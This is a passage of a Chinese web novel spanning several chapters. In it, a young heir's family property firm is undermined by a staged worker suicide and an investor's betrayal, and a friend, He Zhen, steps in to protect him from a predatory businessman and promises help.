卓鹭元看了一眼,挨个给关心他的朋友们回了一句没事,企图看热闹的消息直接无视,随机锁屏把手机塞进枕头缝里准备睡觉,手机却忽然响了。 卓鹭元好不容易有了些睡意,这会看也不看就接起来,刚准备发难就猝不及防听到了贺真的声音:“鹭元,你还好吗?” 明明是一句简单的问候,卓鹭元却觉得自己心底被他掩饰起来的委屈霎时间一齐涌了上来,把脸埋在被子里闷闷地应了一声:“我不好,我明明没有压榨他们。” “不是你的错。”贺真的声音比平时更加温柔,沉静的声音让卓鹭元不安的心稍缓片刻:“不管发生什么都不能不注意自己的身体。今天好好吃饭了吗?” 卓鹭元缩在被子里点头,反应过来贺真看不到后又说:“吃了。”虽然因为没胃口只吃了一点,那也算吃了吧? 贺真听他的声音就知道他大概也没吃多少,对他说:“我订了些你爱吃的菜,应该快到你家了,无论如何多吃点,吃饱了才有力气解决事情。” 卓鹭元从床上爬起来下楼去门口,电话也没挂断,果然看到了贺真订的东西,收了以后对贺真说了一句:“谢谢。” “你没事就好,这几天照顾好自己,有什么事就给我打电话。”贺真担心自己说得太多耽误对方吃饭,听到他的声音精神一些后才挂了电话。 卓鹭元坐在餐桌前看着贺真订的菜,果然都是些自己平时爱吃的,想了想还是拿起筷子慢慢吃了一些。 贺真说得对,他不能这么颓废下去,吃饱了才有力气解决问题。 公司那边卓父也很头疼,工地那边已经暂时停工了,每延期一天就多产生一天的费用,不早点解决的话这笔钱也不是一个小数目,而且还会面临延期违约的问题。 现在卓父越发肯定乔家是铁了心要让自己这个项目做不成,陈志坠楼的事情其中一定有问题。只是时间太仓促,到现在他也只能从陈志的工友处下手。 可是卓父派人问了一圈,工人们每天干得都是体力活,几乎除了工作吃饭也没事什么其他事,除了一个工友说陈志最近似乎烟抽得比之前狠以外,再没人能说出个不对劲来。 卓父想了想,对助理说:“你去找人查一查,陈志出事前有没有接触过什么人,财务状况怎么样。” 既然有工友提到陈志最近抽烟比以前狠,那一定是出了什么事导致陈志心神不宁,压力太大才会这样,说不定是一个突破口,现在也只能寄希望于此了。 贺真挂了电话,本以为上次贺父当着贺老爷子的面拒绝之后,贺继明应该会有动作来对付自己,没想到对方居然和乔家搭上线去对付卓鹭元了。 想到电话里疲惫又委屈的声音,贺真只能在茶茶的警告声中忍住说出真相的冲动。 只是贺父最近脸上也是一片愁云惨淡,他和卓父向来交好,现在贺继明公然对卓家出手,甚至用官方号故意讽刺卓家吃人血馒头,一时间贺父也有些该不知如何面对自己的老朋友。 贺真回到家的时候,看到的就是生气的贺母和一旁敢怒不敢言的贺父。贺父见他回来,对他使了个眼神,意思是想让他去劝劝贺母。 贺真一头雾水地看着贺父,贺父示意他去楼上看看。贺真刚一上楼,就发现贺母正在气冲冲地从房间里翻找东西,然后挑出里面不要的使劲扔在一旁。 贺真好奇地拿起其中一个瓷瓶看了看,瓶口还有刚被贺母砸在地上的新鲜缺口,忍不住问她:“妈,你这是在干什么?” 贺母看了一眼贺真手上的瓷瓶。,冷笑一声:“我还能干什么,当然是扔垃圾!你手上那玩意还是以前邹卉送的,以前这种假货要不是看在你爸的面子上,我早就给她都扔出去了!” 就像贺父和卓父是老朋友一样,贺母和卓母关系更好,以前还说要给贺真和卓鹭元订娃娃亲,贺继明那王八蛋突然来这么一手去对付卓家,以后让她怎么面对卓母! 贺母气不过,打算把他们家送的那些破烂全清出去,看见就烦,谁劝都不好使。 贺真看贺母这样哪敢劝,默默地离那堆东西远了一些,不打算听贺父的话火上浇油。 不得不说贺母的记忆力挺不错的,小到他们家送的首饰,大到像瓷瓶一样的工艺品,有一件算一件全被贺母挑了出来,连相册里有那家人和贺老爷子的照片都被抽出来丢在地上了。 其中一张泛黄的老照片飘到了贺真脚边,贺真捡起照片,终于知道自己当初见到叶云柏时的那种熟悉感是从哪里来的了。 “妈,照片上这个人是谁?”贺真指着照片里贺老爷子身旁的年轻女人问道。 贺母看了一眼,漫不经心地回答:“是你太奶奶,不过她身体不好,日子刚好起来一点就去世了,我也没见过几面。” “原来是这样。” 贺真看着照片里和叶云柏眉眼极其相似的太奶奶,不动声色地把这张照片收起来了。 第52章 第 52 章 卓鹭元那边还在等着…… 卓鹭元那边还在等着官方出通告, 这几天都没怎么休息好。卓父更辛苦一些,还得在家和公司之间来回跑, 卓母让他小心自己的腰,他也只是摆摆手不在意,他实在是没有那个时间去医院。 昨天和陈志同宿舍的工友从他被子里找到一封遗书,就夹在被子折叠起来的地方,发现遗书的工友害怕,马上把遗书交给了警.察处理。 遗书上陈志说着自己的不容易, 说自己当初打了小混混进了警.局,老板卓鹭元却只是给他发了个红包压惊,自己却已经是“进过局子的人了”, 甚至发出了自己的工资来和卓鹭元这个富二代进行对比。 遗书上的字歪歪扭扭, 许多字都写错了, 有些地方甚至画着一个圈,应该是陈志本人不会写,这封遗书大概率确实出自陈志之手。 卓父知道这封遗书存在的第一个想法就是一定要把这件事压下去,否则就算他们清清白白,有这封遗书在他们也洗不干净了。 可是对方动作太快,不知道用了什么手段, 竟然将那封遗书发到了网上,官方号下几乎瞬间被愤怒的网友发了几十万条评论,都在说卓家父子“何不食肉糜”,一时间讨伐卓家父子的声音甚嚣尘上。 卓鹭元听卓父的话在家里待了几天,但眼见着事情不但没有好起来,事态反而越来越失控,一时间也顾不上卓父的叮嘱,开车就去了公司。助理劝不住卓鹭元, 只好让他从另外一个入口进地下车库,把人带进了公司。 路过公司正门的时候,卓鹭元看到公司门口挤满了人,带头的就是陈志的妻子,手里依然拿着那条横幅,不少记者像鬣狗一样围着她拍照。 卓鹭元忧心忡忡地往卓父办公室走去,不少员工都在偷偷打量卓鹭元,他只能装作没看到。 卓父正在办公室里,面前放着一杯黑咖啡,看见卓鹭元出现在这里下意识皱眉:“你怎么过来了,我不是让你在家里待着吗,没被人拍到吧?” “没有。”卓鹭元说完以后定定地看着卓父:“爸,都什么时候了你还让我在家待着,遗书的事还是我上网看到的,现在到底怎么样了?” 卓父拗不过卓鹭元,靠在椅背上深吸了一口气:“你还看不出来吗,这个陈志根本就是被人买通了自己跳楼的,遗书也是在对方授意下写的。虽然里面的内容是假的,但这封遗书本身却是真的。” 事实比卓父说得还要坏一点,陈志和卓鹭元的身份差距,再加上这封写得歪歪扭扭的遗书,连其中的错别字都能成为抨击卓鹭元的点,毕竟谁会用自己的命去抹黑别人? 卓鹭元在卓父对面坐下,不甘心地问道:“难道我们就一点办法都没有吗?爸,你之前不是让助理去查了吗,有没有什么新进展?” 卓父摇头:“这个陈志的生活很简单,基本没有什么乱七八糟的事,平时也不赌钱,孩子也快上高中了。从这些事情看来,他没有任何理由用自.杀来抹黑我们。至于生病我也考虑过,可警.方没有查到他在大医院的就诊记录。” 卓鹭元想了想:“有没有可能是小诊所?据我所知陈志的经济状况不太好。” “那就不好说了,我们的人还没有查到。”卓父疲惫地闭上眼睛,片刻后又睁开:“工地那边还不知道要停工到什么时候,出了这么大的事,卢俊城却还没有联系过我们,之后还不知道会怎样。” 卓鹭元低着头闭口不言,用沉默表达自己的倔强,他的电话却突然响起,正是卢俊城打来的,不出意外应该是为了最近的事。 只是对方的语气令卓鹭元有些陌生,一开口便是兴师问罪的样子:“鹭元,项目出了这么大的事,直到现在都没有解决,为什么这段期间你没有主动联系过我?” 卓鹭元解释:“目前一切都还在调查中,警.方都还没有出最终的结果通告,我们已经在积极解决了。不过有一点我可以十分肯定,我们绝对没有做过他遗书上写的那些事。” 可卢俊城对卓鹭元的说法十分不满:“鹭元,我当你是朋友所以才看好你的项目进行投资,我投资的钱并非是我一个人的,而是卢氏的。眼下项目出了这么大的事,你们却直到现在都没有找到有力的证据翻盘,我不能继续把资金都押在你这里。” 卓鹭元心里有种不好的预感,但还是对卢俊城抱有一丝侥幸:“我也说了我们正在解决问题,等我找到证据就可以证实陈志是被人收买的!”卓鹭元说完对面没有立刻回话,他只能忍着怒气稳住语调:“那你想怎么样?” “很简单,”卢俊城与面前的乔昱褀交换了一个眼神,对卓鹭元说:“我要撤资。” 卢俊城说完就挂了电话,卓鹭元怔愣地看着自己被挂断的界面,只觉得所有事情都被串在了一起。 他前些天就觉得不对,项目出了这么大的事,卢俊城却不疾不徐地一次都没找过他,反而和其他朋友一样发了两句对他个人的关心之后就再无下文,这是一个投资方应该有的态度吗? 他还没有缓过神来,原本坐在办公室里的卓父却突然站起来怒喝一声“混账”,然后捂着自己的胸口直勾勾地向后倒去,卓鹭元惊慌失措地接住卓父:“爸!快来人,打120!” 助理听见卓鹭元的喊声连忙冲进来打了120,救护车很快就将卓父送进了抢救室里。 门外卓鹭元失神地坐在椅子上,两只手紧紧扣在一起摩挲手指,几乎时每隔几秒钟就要向手术室看一眼,生怕医生对他出来摇头。闻讯赶来的卓母看到儿子六神无主的样子,也顾不上担心,一把将他搂进怀里:“元元没事的,你爸他一辈子没做过坏事,一定会没事的啊!” 卓鹭元胡乱地点点头,揉了揉泛红的眼睛,再次看向手术室时门却开了,医生向他们母子俩走了过来:“谁是病人家属?病人抢救回来了,只是状况不太好,还得在医院继续住院观察。你们去给病人办一下住院,然后把费缴了。” 卓母连忙点头:“我是他妻子,没事就好,没事就好!” 卓鹭元也送了一口气,把卓母按在椅子上坐下:“妈,你在这里等我,我去办手续。” 卓母怕卓鹭元担心,于是对卓鹭元点了点头答应道:“你去吧,我坐这里缓缓。” 卓鹭元向另一个方向走去,却在拐角处转身进了楼梯,两只手捂着脸紧紧扣在自己脸上,心里的后怕齐齐涌了上来,混合着愤怒快恨死卢俊城了。 卢俊城可真够狠的,和他当了那么多年朋友,现在却差点搞得他家破人亡,都怪他识人不清。 卓家乱成一片,卢俊城自己放出卢氏即将撤资的消息,盛俊文那些朋友俱是不可置信。卢俊城比他们大一些,平时总是像一个成熟稳重的大哥一样照顾他们,他们怎么也没想到对方能这么干脆利落地在背后扎卓鹭元一刀,他们甚至于卓鹭元自己都不知道对方为什么要这样做。 盛俊文着急地给卓鹭元打了几个电话,好不容易接通一个,对方也是一副忙的不行的样子,匆匆说了一下现在的情况就挂了电话,快让盛俊文担心死了。 他不死心地打开几个人的小群,却发现卢俊城不仅没有主动退群,居然还在放出自己即将撤资的消息之后约他们去亮子的酒吧小聚,连一向不怎么在意生意上事的亮子都忍不住出来说话了:鹭元他爸都被气进医院了,听说才抢救过来,你这么做还是人吗? 卢俊城却还是一副关心卓父的样子:我已经让助理替我去看望了,只是鹭元大概暂时不想见我。做生意有风险,有赚有赔是常有的事,这一点我也很抱歉。 盛俊文没忍住刺了卢俊城一句:怎么,鹭元他爸还没好转你就等着开香槟,还能像没事人一样在这个群里和我们说话,下一刀是不是该捅我们身上了? 卢俊城这次直接回了一条语音:俊文,我和鹭元一样,背后也有公司要经营,他员工的命是命,我也一样,我不能不替公司员工考虑。 盛俊文不是傻子,猜到卓家出事多少和卢俊城脱不了干系,正想继续辩解的时候,一直沉默的卓鹭元却说话了:可以。你既然想说,那我们就好好当面说说。 卢俊城把时间发在群里,办公室的门却忽然被人踢开,卢俊城抬头看着宁之衡,让惊慌的助理先出去,气定神闲地。对宁之衡说:“刚才你在群里没说话,我还以为你没看到。怎么,你也是来替鹭元向我兴师问罪的吗?” 宁之衡没说话,看卢俊城的眼神像在看一个陌生人一样,顶着卢俊城询问的目光往前走了几步,没有任何预兆一拳打在卢俊城脸上。 卢俊城似乎没想到宁之衡会直接动手,看向对方的目光有些隐怒:“连你也觉得是我做错了?我们也是朋友,你为什么不能站在我的立场上替我考虑一些呢?” “别装了。” 宁之衡嗤笑一声,居高临下地看着坐着的卢俊城:“你忘了我们家是做什么的吗?挖消息打听事,鹭元办不到的我能办到。你找乔昱褀和贺继明做的那些脏事烂事,我全都知道了。” 卢俊城眼神变了,他一时间确实没想起来这回事,现在知道了也只是反问他:“所以呢,你要把证据全都交给他吗?不过你。知道的似乎有些晚了,舆论一旦形成,想逆转可是很难的。况且你怎么知道我会不会出手阻止呢?我劝你不要趟这样浑水,未来我们未必不能继续做朋友。” “朋友?” 宁之衡想听到什么笑话一样看着卢俊城:“在背后捅别人一刀,让别人家破人亡的朋友?我可不敢当你的朋友。你以为鹭元为什么会答应和你聚会,他那么聪明的人,从你撤资的时候就应该知道一切了。” 宁之衡拿出手机,当着卢俊城的面删掉了所有的联系方式:“卢俊城,你和唐家一样令我恶心。” 说完,宁之衡抽出手机卡,拿起办公桌上的剪刀将卡剪碎,连着手机一块扔进了垃圾桶:“聚会我就不去了,下次再见,希望是你破产的时候。” 第53章 第 53 章 卓父的情况稳定下来…… 卓父的情况稳定下来, 现在卓母每天在医院照料着他,卓鹭元一个人盯着公司的大小事务, 一边让公关努力减小舆论的影响,一边想办法找线索拉投资,看看能不能填补卢氏撤资之后的资金缺口。 宁之衡给的证据只能证明卢俊城联合了乔昱褀和贺继明对他们不利,但他们收买陈志的证据却迟迟找不到,一看就是有备而来。乔昱褀那边肯定把证据销毁地干干净净,如果有希望也只剩陈志那边。 卓鹭元这些天见了不少人去拉投资, 但明眼人都看得出来这个项目几乎很难再推进下去,连卢俊城这样的大企业都撤资了,摆明了不好看这个项目, 那他们贸然跳进去不是找死吗。几天过去, 卓鹭元拉投资的进度几乎为零。 到了卢俊城定好的那天, 卓鹭元早早地就去了亮子的酒吧,盛俊文和亮子已经在里面等着了。 亮子是酒吧的老板,来得早点也不稀奇。盛俊文担心卓鹭元,一进来就抓着他问:“你那投资拉的怎么样?我求过我爸,我爸不愿意帮忙,我还有一点私房钱, 你先拿去能填多少算多少。” 盛俊文从钱夹里抽出一张卡递给了卓鹭元,卓鹭元想推拒,却说:“行了,快把卡收起来,咱俩多少年的发小了,还跟我这往外退群呢。” 卓鹭元手里攥着盛俊文给的卡,声音有些沙哑:“谢谢你帮我。” “嗨,这有什么的。”盛俊文没把这件事放在心上, 他和卓鹭元这么多年的关系,他不帮才是不正常的。 只是盛俊文不知道,自从卢俊城放出撤资的风声之后,原本许多和卓鹭元关系不错的人一夜之间对他退避三舍,甚至还有以前对卓鹭元追求不成的人,就等着看卓家落魄,卓鹭元最近几天没少碰壁。 亮子有些尴尬地摸了摸鼻子:“那个,你知道我手里攒不下来钱,我爸基本和放养我也差不多,钱不多,你就当作是兄弟的心意。” 卓鹭元犹豫后还是收下了,认真地对亮子说:“亮子,谢谢你。”亮子听了之后只是摆摆手,他能做的也只有这么多了。 离约定的时间还有一会儿,李尚乐和杨一群这两个人每次到的都晚,卓鹭元环顾四周,没发现贺真的身影。盛俊文看到卓鹭元的动作,猜到他应该是在找贺真,叹了口气对卓鹭元说:“你别找了,他估计来不了。” “怎么了?”卓鹭元有些担忧地问盛俊文,他没听贺真对自己说过什么。 盛俊文看他这样,猜测贺真应该没和卓鹭元说过,简单说了一下贺家最近的近况:“贺家最近内部出了点问题,听说是公司内部有人把资料泄露出去,造成了不少的损失,贺继明正在联合其他股东想趁机把他搞下台。他不和你说,估计也是怕你担心。” 盛俊文说完,看着卓鹭元低着头的样子对他说:“你说你俩也是,一个不去张口让对方帮忙,另一个出事了也不和你说,就怕你分心。” 卓鹭元听完之后露出一个苦笑:“和你说实话吧,我让财务那边算过了,资金缺口太大,光是我手上这点钱元元不够,想要解决除非贺家能一口气注入和卢俊城当初投资的资金才行。可他自己都自身难保,我不能再去麻烦他了。” 原本他还想等工地上事解决了去找贺真说清楚,可是现在看来还是算了。 几人说话间,剩下的几个人先后到了。宁之衡说过不来,今天也没有出现。李尚乐和杨一群两个人还是有些茫然无措,不知道前段时间还好好的几个人,怎么突发一夜之间闹成这个样子。 卓鹭元看着卢俊城的样子,也不打算和他兜圈子:“是你勾结乔昱褀和贺继明,故意在项目上的事动手脚,想让我们家破产。” 李尚乐被家里保护地太好,没忍住看着卢俊城问他:“这其中是不是有什么误会?之前乔昱褀差点对鹭元做出那种事,城哥怎么可能联合他来对付你?” 杨一群沉着脸没说话,如果卢俊城没做这事,早就出言反驳了,怎么可能像现在一样眼睁睁看着卓鹭元走投无路也没有任何表示,这种话也只有李尚乐那个傻子才信。 他的语气很肯定,卢俊城看着卓鹭元,带着微笑反问他:“你是怎么发现的?” “我怎么发现的重要吗?”卓鹭元看着卢俊城,不明白他为什么要这么做:“卢俊城,我自认在做朋友这方面从来没有得罪过你,你为什么要对付我,还是和乔昱褀那样的垃圾一起?” 这是他一直想问卢俊城的一个问题,也是他最想不通的地方,他甚至不知道卢俊城是什么时候起了对付他的心思。 卢俊城笑笑,说出了一个令卓鹭元难以置信的理由:“理由?同行相轻,这个理由够吗?” 卓鹭元声音有些颤抖:“就因为这个?” “就因为这个。”卢俊城端起酒杯喝了一口,晃了晃酒杯对卓鹭元说:“在商言商,淮市的地产市场有限,我当然要费点心思经营自己的公司。原本你可以一直当你的纨绔,我们也可以继续做朋友。可是贺家回国了,你们两家的关系又那么好,我当然要防着一些,只要他不去碰地产,我也可以忍受。” 卢俊城放下酒杯看着卓鹭元,脸上的冰冷令卓鹭元十分陌生:“可是鹭元,你太聪明,卓伯父又想培养你。我可以有一个纨绔朋友,但我不能有一个聪明的竞争对手,所以我不能看着你成长起来,你应该可以理解的对吧。” 杨一群脾气差,忍不住破口大骂:“靠!那你不会和鹭元公平竞争吗,搞背刺算什么本事!我以前真是瞎了眼才把你当朋友!” 卢俊城听了也不生气,反而对杨一群摇摇头:“多大的人了,还说这么天真的话。我不建议你这样和我说话,鹭元的资金缺口填不上,破产是迟早的事,到时候卢氏将会成为淮市最大的地产商。相信我,你的父母不会希望你跟我交恶的。” 杨一群还想骂些什么,被盛俊文拦住了:“话说得好听,谁知道和你合作会不会再被背刺。卢俊城,做人还是得有点底线。” 卓鹭元知道卢俊城说的话没错,如果盛辉填不上这个资金缺口,宣布破产也只是时间问题,到时候他一定会出手吃下盛辉的资源。 卢俊城看着沉默地卓鹭元,又向他补了一刀:“想找贺真帮忙?平心而论,你们两家关系确实不错,所以我也给他找了点事,让他脱不开身来管你这边的事。算算时间,他现在应该正和他那个好叔叔斗得厉害,应该是帮不了你了。” “你对付我就对付我,为什么要对付贺真?!”卓鹭元挡了卢俊城的路也就罢了,凭什么和他毫不相干的贺真也要被他下这种狠手?卓鹭元不能接受! 卢俊城意味深长地看着卓鹭元,语气十分耐人寻味:“你真的要我说出来吗?” 卓鹭元攥紧拳头,听懂了卢俊城的言外之意,他看出来卓鹭元对贺真的想法,怕贺真帮他,所以干脆连着贺真一起打压,让卓家彻底没有翻身的机会。 “既然如此,那就没什么好说的了。卢俊城,以后我们就是仇人,你最好期待我没有翻身的那一天,否则我一定会报复回来。” 卢俊城没把他的话放在心上,见几人都不欢迎自己,也就没有继续自讨没趣,起身离开了酒吧。 卢俊城走后,卓鹭元要了杯酒,什么也没说就一饮而尽,再站起身时整个人都晃了晃,他却混不在意地冲几人摆摆手,打电话叫司机过来接自己回家,转身一个人向门外走去,融入浓重的夜色之中。 接下来的几天,卓鹭元带着助理去了许多以前推掉的酒局,端起以前自己从来没拿过的酒杯,一杯杯地喝下去,几乎每天回家都是酩酊大醉,胃里也像有火在灼烧一般。 可是卓鹭元不敢放弃,他要是放弃了他爸妈怎么办,公司怎么办? 家里阿姨给卓鹭元拿来胃药,心疼地看着被子里蜷缩成一团的卓鹭元,将温水和药放在他的床头,轻轻地带上门出去了。 卓鹭元忍着胃痛起身,拿起床头的药片混着温水喝了下去。明天晚上还有一场酒局,他不能倒下。 另一边,卢俊城的办公室里,卢俊城意外地看向来人,似乎有些没料到对方会在这个时候来找自己:“我本来以为以你对他的在意程度,应该会是第一个来找我的,看来他在你心中的分量,没有我想象中的重要。” “重要的角色总是压轴出场,不是吗?”贺真在卢俊城对面坐下,双手交握看着卢俊城:“挑拨的话就不必说了。你让贺继明想尽办法拖住我,不就是怕我帮他吗?” 贺真比所有人都要平静,一时间卢俊城也摸不透他的心思:“是又如何?商场如战场,我用些手段也是正常的。” 贺真点头:“合理。那我猜,就算卓鹭元真的拉到了投资,你还有后招等着他,比如不直接撤资,而是拿这件事当作借口告盛辉违约,不仅不用赔付违约金,还能让盛辉更加雪上加霜。” 卢俊城沉默不语,贺真猜对了。他之所以现在还没有真的撤资,其实是在等卓鹭元求到自己头上,这样他会看在往日的情份上给他们一笔钱,让他们离开淮市一辈子别回来,当作他的补偿。 可是卓鹭元不肯低头,卢俊城自然也不会主动提出这一点,没想到贺真倒是看得明白。 卢俊城一笑:“看来让贺继明绊住你,是我做得最对的事。” “或许吧。”贺真看向的眼中没有半分怒意,整个人像湖水一样平静:“等这件事尘埃落定之后,或许我有一件礼物要送给你,但不是现在。希望到那个时候,你还能像今天一样为你的决策而由衷地高兴。” 贺真起身,在卢俊城警惕的目光里说:“因为从你收到那件礼物开始,你以后的每一天都是下坡路。” 这是他对卓鹭元出手的代价。 第54章 第 54 章 “你为什么不肯帮鹭…… “你为什么不肯帮鹭元哥哥, 你明明知道我喜欢他,为什么还要冷眼旁观?!”郑曦冲进郑煦的书房大喊大叫, 无论他怎么求郑煦帮忙,这次郑煦都像铁了心一样不肯松口,这对郑曦来说还是第一次。 郑煦走过去关上门,好声好气地哄着她:“曦曦,不是我不想帮忙,但这次不一样。卢俊城发了话不许别人帮他, 我们要是这会出手,以后在圈子里少不得被人针对。爸妈走得早,我们两个势单力薄, 我不能冒这个险。曦曦, 好男人多了去了, 等忙过了这一阵,哥哥再给你找个好看的,肯定让你喜欢。” 郑曦背悲伤地后退两步看着郑煦:“哥,我喜欢他不是因为他长得好看,难道你还不明白吗?就算他不喜欢我,他对我来说也是很重要的朋友, 我怎么可能看着朋友出事还袖手旁观啊!哥,你变了。” 郑煦听到郑曦的话脸色变得难看,一时间脾气也没压住,猛然转过身来看着郑曦:“我变了?我这么多年辛辛苦苦是为了谁,难道不是为了我们能过上安稳的日子吗?你喜欢他我拦不住,可他家都快破产了,我凭什么为了他去多管闲事!” 郑曦拼命摇着头,眼泪像断了线的珍珠一样嘀嗒落下, 对着郑煦喊得声嘶力竭:“因为以前我被人嘲笑没爸没妈的时候是他帮了我!有人把我带到器材室想欺负我的时候是他帮了我,是他多管闲事!你什么都不知道!” 郑曦说完就跑了出去,留下郑煦一个人站在原地不知所措。郑曦被人嘲笑的时候是卓鹭元帮了她没错,可后来那件事他为什么从来没听她提起过?! 郑煦痛苦地抱着头,一个人把自己关在书房里,知直到傍晚才重新打开门,声音沙哑着给助理打了个电话:“郑曦这些年在学校发生的所有事,你都给我调查一遍,任何小事都不要放过,越详细越好。” 如果事情真的是这样,那卓鹭元的事情他要重新考虑一下了,就当作哥哥的歉意。 郑曦不管不顾地跑出来,哭过之后才发现自己没带手机,只好借保安大哥的手机打电话。只是郑曦拿着手机的时候才发觉自己没记住几个人的号码,记得最清楚的号码,除了卓鹭元之外竟然就是贺真的。 郑曦有些犹豫,但想了想还是拨出了那个号码:“贺真,我是郑曦,我可以去找你吗?” 贺真奇怪地看向手机,太阳打西边出来了?郑曦居然叫他大名了。不过电话里的郑曦声音听起来不对劲,像是刚刚哭过,贺真也就没多说:“我让人去接你。” 过了不久,郑曦就到了贺真的公司,贺真对助理说:“计划书你盯着点,明天一定要修改好。其他证据也留存好,之后派得上大用场。” 贺真让助理出去,这才看向一旁红着眼眶的郑曦,让助理给她端了杯热咖啡:“怎么了,突然跑到我这里来。” 郑曦一时头脑发热给贺真打了电话,现在怎么看贺真怎么尴尬:“听说贺家内部出了事,我就是过来看看……” “我以为你会更关心鹭元的事。”贺真这么说也没错,毕竟郑曦喜欢卓鹭元几乎人人都知道。 没想到郑曦的眼泪又掉了下来,泪眼汪汪地看着贺真:“我求我哥帮鹭元哥哥的忙,可是他说什么都不肯帮,明明以前哥哥不是这样的。” 贺真叹了口气没说话,倒也能理解郑煦的做法。 郑曦抹了把眼泪继续说:“我听说这段时间鹭元哥哥带着助理去了不少酒局,胃都快喝出问题了,今天还要去。今天那个什么黄总,以前追过鹭元哥哥,明明年龄都够当他叔叔了,鹭元哥哥也没拒绝。” 郑曦突然拉住贺真的袖子,眼底带着期盼:“贺真,你去救他好不好?从你上次救了鹭元哥哥我就知道,你和他们不一样,你不是坏人。要是你肯帮鹭元哥哥,以后我就再也不叫你死绿茶了,我发誓!” 贺真也知道这回事,今天即使郑曦不说他也会去把卓鹭元带走。可是贺真看着郑曦有些不解,现在也就直接问出来了:“我会去。可是我不明白,你那么喜欢鹭元,又这么讨厌我,为什么要让我去救他?” 郑曦松开手,忽然认真地看向贺真:“我其实很羡慕你。我追在鹭元哥哥身后那么久,他都没有喜欢过我。可是你不一样,我能看得出来,鹭元哥哥和你在一起的时候很开心。比起那些趁火打劫想欺负鹭元哥哥的人,我宁愿那个人是你。我帮不上鹭元哥哥的忙,没脸见他了。” 郑曦在贺真心中一直是个不谙世事的娇蛮女孩,做事多半都随着自己的性子,可郑曦这番话却比其他人都敞亮,让他对郑曦有些刮目相看。 “他不会怪你的,他只会感谢你。”贺真了解卓鹭元,知道他对待朋友一向很义气,于是劝郑曦:“别和你哥怄气了,我让人送你回去。鹭元的事情交给我,我答应你,有我在不会让他出事的。” 郑曦这会气消了,贺真给她递了台阶,她也就顺势下来了:“好,我听说鹭元哥哥今晚在丽华酒店,包间我就不清楚了。” “好。” 卓鹭元忍着胃部的不适,努力扬起一个微笑,端着酒杯向黄总敬酒:“今天有幸能请到黄总赴约,我可一定要敬黄总一个。”说完,卓鹭元起身准备向黄总敬酒,对方却岿然不动地依旧坐着,不紧不慢地说:“哎呀,卓总可不好约啊。以前我约过卓总一次,年轻人脾气还挺大。” 卓鹭元举着酒杯的手一僵,脸上的笑容未改半分,语气却更加客气:“那个时候年轻不懂事,还请黄总不要见怪。” 黄总这才起身,笑呵呵地拿起酒杯和卓鹭元碰了一下,看着卓鹭元时眼中闪过精光,这卓鹭元保养得倒真好,看着竟跟几年前没什么变化,还是一样的勾人。 黄总手指摩挲着酒杯,随手拿起酒壶,制止了一旁助理的动作,竟是要亲自给卓鹭元添酒。卓鹭元站起身拿起酒杯,就听到对方意味深长又暗示意味十足的话:“这么说来,现在小卓总是想明白了?我就说嘛,年轻人年轻气盛,不过现在想明白也不晚是不是?” 黄总给卓鹭元倒酒时,手马上就要搭上他的手时,卓鹭元忽然向后一躲,避开了黄总伸来的手,脸上笑容也变得勉强:“黄总您醉了,我们还是谈谈注资的事情……” “哼!我也不怕和你明说,这事一看就是个烂摊子,想让我帮你的忙,我只有一个条件,那就是你跟了我!你自己好好想清楚!”卓鹭元脸色苍白,胃部的不适和劳累几乎让他觉得眩晕,黄总却步步紧逼。 正在这时,一道卓鹭元再熟悉不过的声音响起了:“不知二位在谈什么生意,在下是否也能来分一杯羹?” 贺真推开门,从容不迫地拿走了卓鹭元手上那杯酒,当着黄总的面和对方说:“黄总经营有方,希望有以后机会能和黄总合作。不过我刚才似乎听错了,好像有人在说什么跟不跟的,应当不是有人在威胁别人吧。你说是吗,黄总?” 贺家不是黄总能惹得起的,如果不是贺真被拖住,今天怎么也轮不到卓鹭元来求他。黄总忍下怒意,讪讪地说:“我和小卓也是老相识,开个玩笑而已。” 卓鹭元看着贺真,似乎有很多话要问,但想到自己家现在的情况,闭着眼睛再次拿起酒杯:“黄总……” “鹭元,你醉了。” 贺真不由分说地打断卓鹭元即将出口的话,不顾他的反抗将人带出了包间。卓鹭元还在挣扎,他不能看着希望从眼前飞走:“贺真,你放开我,你……!” 贺真不可能看他走上那条路,即便是主角不会出事也不行,看他反抗得厉害,直接将人公主抱走出了酒店,二话不说塞进车子后座,锁好门踩下了油门。 “贺真,你要带我去哪,你知不知道我花了很大的力气才约到他,你让我回去!”卓鹭元试图开门,但怎么样都打不开。 贺真在前面开着车,看了一眼后视镜对卓鹭元说:“他在骗你。我查过他的公司,他负担不起那么大的资金缺口,否则资金流会出现问题。我不想做什么,只是想带你去个地方而已。后座有胃药和水,休息会吧。” 卓鹭元感觉自己全身的力气都被抽干,无力地靠在后座上,看着窗外映在车窗上的霓虹,心里都是对未来的茫然。 贺真把车停在了江边,从车里拿出上次没抽完的那盒烟,抽出一根点上:“吹吹晚风会清醒一点。” 卓鹭元是第一次见贺真抽烟,盯着那根烟看了半天,半晌才问他:“你带我来这里干什么?” “做个决定。” 贺真吐出烟雾,拉起卓鹭元的手,将一枚蓝宝石袖扣戴了上去:“我做重要决定的时候才会抽烟,上次也是在。这个地方,我做了一个决定,所以今天也一样。” 卓鹭元低头看着那枚袖扣,那是他送给贺真的谢礼,他可以答应对方的任意一个愿望。 只是如今他几乎什么都没有了,卓鹭元自嘲一笑:“想让我答应你一个承诺?是像那个恶心的黄总一样想睡我,还是像卢俊城一样看我落魄?毕竟我现在什么都没有了,至少你还比他们长得帅。” 贺真看着卓鹭元,忽然欺身吻了上去,卓鹭元猝不及防被贺真的烟呛到,用力推开贺真,贺真在系统的警告声中松开卓鹭元,看他捂着自己的嘴咳嗽:“贺真,你发什么疯!” “这个样子才对。”贺真手指夹着烟,带着笑意看着他:“不喜欢就拒绝,这才是你。” 卓鹭元一愣,没想过对方是为了这个才…… 贺真在卓鹭元怔愣时将人一把抱进怀里,手指抚摸着他的头发:“我的愿望就是,明天一天,忘了所有的烦心事陪我出去玩,然后尽你最大的可能相信我。” 卓鹭元眼眶发酸,把脸埋在贺真的胸口,回抱住他颤声说:“可是公司不能再等了。” “所以,无论发生什么事,直到事情完全结束的那一天,你都一定要相信我,鹭元。”这些日子的忍耐已经是贺真的极限了,就算茶茶阻止他,他也不能再看卓鹭元继续受这种罪了。 “好。” 卓鹭元对贺真说:“我只相信你一次。” 如果贺真没有骗他,那他也不想再等下去了。 第55章 第 55 章 “怎么一大早就过来…… “怎么一大早就过来了?” 卓鹭元昨天喝了酒, 睡眼朦胧地去开门,才发现是贺真过来了, 手里还提着些什么东西。 贺真放下手里的东西,对卓鹭元说:“你这段时间喝了太多的酒,早上多少要吃一点清淡的,不然胃又该难受了。” 